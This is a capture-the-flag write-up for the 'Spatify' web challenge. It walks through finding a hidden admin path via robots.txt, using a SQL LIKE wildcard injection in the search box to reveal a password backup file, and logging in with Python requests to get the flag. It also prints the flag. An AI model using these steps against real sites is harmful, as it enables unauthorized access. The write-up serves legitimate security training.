Spatify

Difficulty
Easy
Points
150
Description
Welcome to spatify, the perfect place to enjoy some royalty-free music with neither ads nor vulnerabilities at all!
Quick Analysis
Spatify robots.txt file discovery
After running the Burpsuite crawler, or any crawler, the crawler discovered a /robots.txt file.
What is a robots.txt file used for? [1]​
The robots.txt file tells search engine crawlers which URLs the crawler can access on your site.
Content of robots.txt
from requests import get, post
url = 'https://blackhat4-944f71937411184fb04dddb0c9371eb1-0.chals.bh.ctf.sa'
file = '/robots.txt'
response = get(url + file)
print(response.text)
User-agent: *
Disallow: /superhiddenadminpanel/
Spatify's admin panel
The Spatify admin panel /superhiddenadminpanel/ can only be access via a password.
Spatify search engine
The Spatify home page / search for music based on the music name.
Default listed music
<div class="mb-2"><b>[FEATURED] Goldn - Praz Khanal</b></div>
<div class="player mx-auto w-100 mb-4">
    <audio>
        <source src="/static/audio/goldn.mp3" type="audio/mpeg">
    </audio>
</div>
​
<div class="mb-2"><b>[FEATURED] Guitar Electro Sport Trailer - Gvidon</b></div>
<div class="player mx-auto w-100 mb-4">
    <audio>
        <source src="/static/audio/guitar.mp3" type="audio/mpeg">
    </audio>
</div>
​
<div class="mb-2"><b>[FEATURED] Learn SQL in 3 minutes</b></div>
<div class="player mx-auto w-100 mb-4">
    <audio>
        <source src="/static/audio/learn_sql.mp3" type="audio/mpeg">
    </audio>
</div>
Analyze the search SQL Query
The search requires input with at least five characters.
The common word between all three music names is FEATURED. The result of FEATURED search is the same as the home page default music.
I assume the SQL Query querying is based on LIKE operator.
The SQL LIKE Operator [2]​
The LIKE operator is used in a WHERE clause to search for a specified pattern in a column.
There are two wildcards often used in conjunction with the LIKE operator:
The percent sign (%) represents zero, one, or multiple characters
The underscore sign (_) represents one, single character
LIKE syntax
SELECT column1, column2, ...
FROM table_name
WHERE columnN LIKE pattern; 
Spotify Search with SQL Wildcards
The result of FEATURE% search is the same as the home page default music, which means the query is injectable with SQL wildcards.
Exploitation
SQL wildcard injection
List all music records with wildcards with five percent signs %. q=%%%%%%
<div class="mb-2"><b>😋 🅟🅐🅢🅢🅦🅞🅡🅓 🅑🅐🅒🅚🅤🅟 😋</b></div>
<div class="player mx-auto w-100 mb-4">
    <audio>
        <source src="/static/audio/secret_password_backup.txt.bak" type="audio/mpeg">
    </audio>
</div>
​
<div class="mb-2"><b>[FEATURED] Goldn - Praz Khanal</b></div>
<div class="player mx-auto w-100 mb-4">
    <audio>
        <source src="/static/audio/goldn.mp3" type="audio/mpeg">
    </audio>
</div>
​
<div class="mb-2"><b>[FEATURED] Guitar Electro Sport Trailer - Gvidon</b></div>
<div class="player mx-auto w-100 mb-4">
    <audio>
        <source src="/static/audio/guitar.mp3" type="audio/mpeg">
    </audio>
</div>
​
<div class="mb-2"><b>[FEATURED] Learn SQL in 3 minutes</b></div>
<div class="player mx-auto w-100 mb-4">
    <audio>
        <source src="/static/audio/learn_sql.mp3" type="audio/mpeg">
    </audio>
</div>
Content of secret_password_backup.txt.bak
file = '/static/audio/secret_password_backup.txt.bak'
response = get(url + file)
print(response.text)
THISISTHEPASSWORDTOTHEADMINPANEL123321123321
The flag
import re
endpoint = '/superhiddenadminpanel/'
data = { 'password': 'THISISTHEPASSWORDTOTHEADMINPANEL123321123321' }
response = post(url + endpoint, data = data)
html = response.text
flag = re.search('BlackHatMEA{(.*)}', html)
print(flag.group(0))
BlackHatMEA{551:14:dc339129777027c07c8c63bd0310f7da6d9074a6}
References
https://developers.google.com/search/docs/crawling-indexing/robots/intro
https://www.w3schools.com/sql/sql_like.asp

Last modified 1yr ago

Spatify

Difficulty

Points

Description

Quick Analysis

Spatify robots.txt file discovery

What is a robots.txt file used for? [1]​

Content of robots.txt

Spatify's admin panel

Spatify search engine

Analyze the search SQL Query

The SQL LIKE Operator [2]​

LIKE syntax

Spotify Search with SQL Wildcards

Exploitation

SQL wildcard injection

Content of secret_password_backup.txt.bak

The flag

References

What is a robots.txt file used for? [1]

The SQL LIKE Operator [2]